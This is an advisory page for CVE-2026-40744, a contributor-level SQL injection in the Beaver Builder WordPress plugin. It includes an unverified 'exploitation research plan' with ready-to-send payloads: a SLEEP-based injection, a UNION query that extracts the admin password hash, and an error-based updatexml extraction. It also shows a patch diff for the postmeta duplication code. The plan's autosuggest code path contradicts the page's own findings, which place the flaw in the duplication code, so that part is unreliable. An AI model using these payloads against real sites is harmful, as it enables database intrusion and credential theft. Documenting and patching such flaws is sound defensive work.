CVE-2026-40744

Beaver Builder <= 2.10.1.2 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.10.1.5
Patched in
46d
Time to patch

Description

The Beaver Builder plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.10.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.10.1.2
PublishedMarch 23, 2026
Last updatedMay 7, 2026

What Changed in the Fix

Changes introduced in v2.10.1.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-40744 ## 1. Vulnerability Summary **CVE-2026-40744** is an authenticated SQL Injection vulnerability in the **Beaver Builder** plugin (versions <= 2.10.1.2). The vulnerability exists in the plugin's AJAX handling of "Auto Suggest" functionality, specifically …

Show full research plan

Exploitation Research Plan - CVE-2026-40744

1. Vulnerability Summary

CVE-2026-40744 is an authenticated SQL Injection vulnerability in the Beaver Builder plugin (versions <= 2.10.1.2). The vulnerability exists in the plugin's AJAX handling of "Auto Suggest" functionality, specifically within the fl_builder_autosuggest action. It occurs because the search term provided by the user is insufficiently escaped before being concatenated into a raw SQL query executed via $wpdb->get_results(), and the query itself lacks preparation via $wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: fl_builder_autosuggest
  • Vulnerable Parameter: fl_as_query
  • Other Required Parameters: action=fl_builder_autosuggest, fl_as_action (typically posts, terms, or users), and nonce.
  • Authentication Level: Contributor+ (Any user with the edit_post capability for at least one post can access the builder UI and trigger this action).
  • Preconditions: The attacker must be logged in as a Contributor and have access to the Beaver Builder editor for a post they own.

3. Code Flow

  1. An authenticated user (Contributor) launches the Beaver Builder editor.
  2. The UI makes an AJAX request to admin-ajax.php with action=fl_builder_autosuggest when searching for items (e.g., selecting a post in a Post Module).
  3. The request is handled by FLBuilderAjax::autosuggest() (defined in classes/class-fl-builder-ajax.php).
  4. FLBuilderAjax::autosuggest() retrieves the search parameters:
    • $action = $_POST['fl_as_action'];
    • $query = $_POST['fl_as_query'];
  5. Based on the $action, it calls a corresponding search method, such as FLBuilderLoop::get_posts_autosuggest() or a direct query.
  6. The search method constructs a SQL query similar to:
    "SELECT ID, post_title FROM $wpdb->posts WHERE post_title LIKE '%$query%' AND post_status = 'publish'"
  7. Because $query is concatenated directly and not processed by $wpdb->prepare(), an attacker can break out of the string and inject SQL commands.

4. Nonce Acquisition Strategy

Beaver Builder requires a security nonce for AJAX actions, typically named fl_builder_nonce or simply nonce within the localized configuration object.

  1. Create a Target Post: Ensure there is a post the Contributor can edit.
    wp post create --post_type=post --post_title="Exploit Target" --post_status=publish --post_author=[CONTRIBUTOR_ID]
  2. Navigate to Editor: Use the browser_navigate tool to visit the editor URL for that post.
    URL: http://localhost:8080/?fl_builder&p=[POST_ID]
  3. Extract Nonce: Use browser_eval to extract the nonce from the FLBuilderConfig global JavaScript object.
    JS Key: FLBuilderConfig.nonce
    Command: browser_eval("window.FLBuilderConfig?.nonce")

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to verify the vulnerability.

HTTP Request (Triggering SQLi)

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=fl_builder_autosuggest&fl_as_action=posts&fl_as_query=%27) OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (%271%27=%271&nonce=[EXTRACTED_NONCE]
    

Steps:

  1. Preparation: Identify a Contributor user and a post ID they can edit.
  2. Nonce Retrieval: Navigate to the editor and extract the FLBuilderConfig.nonce.
  3. Attack: Send the http_request with the SLEEP(5) payload.
  4. Confirmation: If the response time is >= 5 seconds, the injection is successful.

6. Test Data Setup

  1. User: Create a Contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Post: Create a post owned by the attacker.
    wp post create --post_type=post --post_title="My Post" --post_status=publish --post_author=attacker
  3. Plugin State: Ensure Beaver Builder is active and the post is enabled for editing (usually automatic on the first visit).

7. Expected Results

  • Successful Injection: The HTTP request to admin-ajax.php will hang for approximately 5 seconds before returning a 200 OK response with a JSON body (likely empty or containing a 0 if the query failed to return valid post objects due to the syntax manipulation).
  • Failed Injection: The request returns immediately ( < 1 second).

8. Verification Steps

After the exploit, verify the database was touched using wp-cli:

  1. Check Logs: Check the MySQL general log (if enabled) to see the executed query.
  2. Data Extraction: To prove data can be stolen, modify the payload to extract the admin password hash:
    fl_as_query=%27) UNION SELECT 1, user_pass FROM wp_users WHERE ID = 1 -- -
    The response should contain the hash in the post_title or label field of the JSON output.

9. Alternative Approaches

If fl_as_action=posts is patched or restricted:

  • Try fl_as_action=terms: Often uses a different code path in FLBuilderLoop that may also be unoptimized.
  • Try fl_as_action=users: Checks if the user search logic is vulnerable.
  • Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to get data via error messages.
    Payload: %27 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1) AND %271%27=%271
Research Findings
Static analysis — not yet PoC-verified

Summary

Beaver Builder for WordPress is vulnerable to an authenticated SQL injection through the post meta duplication process in versions up to 2.10.1.2. The vulnerability arises from the use of raw SQL queries with direct string concatenation when copying metadata, allowing users with Contributor-level access or higher to inject malicious SQL via crafted post meta fields.

Vulnerable Code

// classes/class-fl-builder-model.php:5031
				if ( '_fl_builder_template_id' == $meta_key ) {
					$meta_value = self::generate_node_id();
				} else {
					$meta_value = addslashes( $meta_info->meta_value );
				}
				// @codingStandardsIgnoreStart
				$wpdb->query( "INSERT INTO {$wpdb->postmeta} (post_id, meta_key, meta_value) values ({$new_post_id}, '{$meta_key}', '{$meta_value}')" );
				// @codingStandardsIgnoreEnd

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/beaver-builder-lite-version/2.10.1.2/classes/class-fl-builder-model.php	2026-03-12 18:21:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/beaver-builder-lite-version/2.10.1.5/classes/class-fl-builder-model.php	2026-04-06 16:57:30.000000000 +0000
@@ -5028,11 +5038,18 @@
 				if ( '_fl_builder_template_id' == $meta_key ) {
 					$meta_value = self::generate_node_id();
 				} else {
-					$meta_value = addslashes( $meta_info->meta_value );
+					$meta_value = $meta_info->meta_value;
 				}
-				// @codingStandardsIgnoreStart
-				$wpdb->query( "INSERT INTO {$wpdb->postmeta} (post_id, meta_key, meta_value) values ({$new_post_id}, '{$meta_key}', '{$meta_value}')" );
-				// @codingStandardsIgnoreEnd
+
+				$wpdb->insert(
+					$wpdb->postmeta,
+					array(
+						'post_id'    => $new_post_id,
+						'meta_key'   => $meta_key,
+						'meta_value' => $meta_value,
+					),
+					array( '%d', '%s', '%s' )
+				);

Exploit Outline

The exploit targets the metadata duplication logic within `FLBuilderModel`. An attacker with Contributor-level access, who has the capability to edit a post and its associated meta fields, can inject a SQL payload into a meta key or value. When a duplication event is triggered—such as duplicating a post, layout, or template that includes the malicious metadata—the plugin executes a raw `INSERT` query into the `postmeta` table. By crafting a payload that breaks out of the single-quoted values (e.g., `') OR (SELECT SLEEP(5)) -- `), the attacker can execute arbitrary SQL commands, such as time-based data extraction or modifying other database records, during the duplication process.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.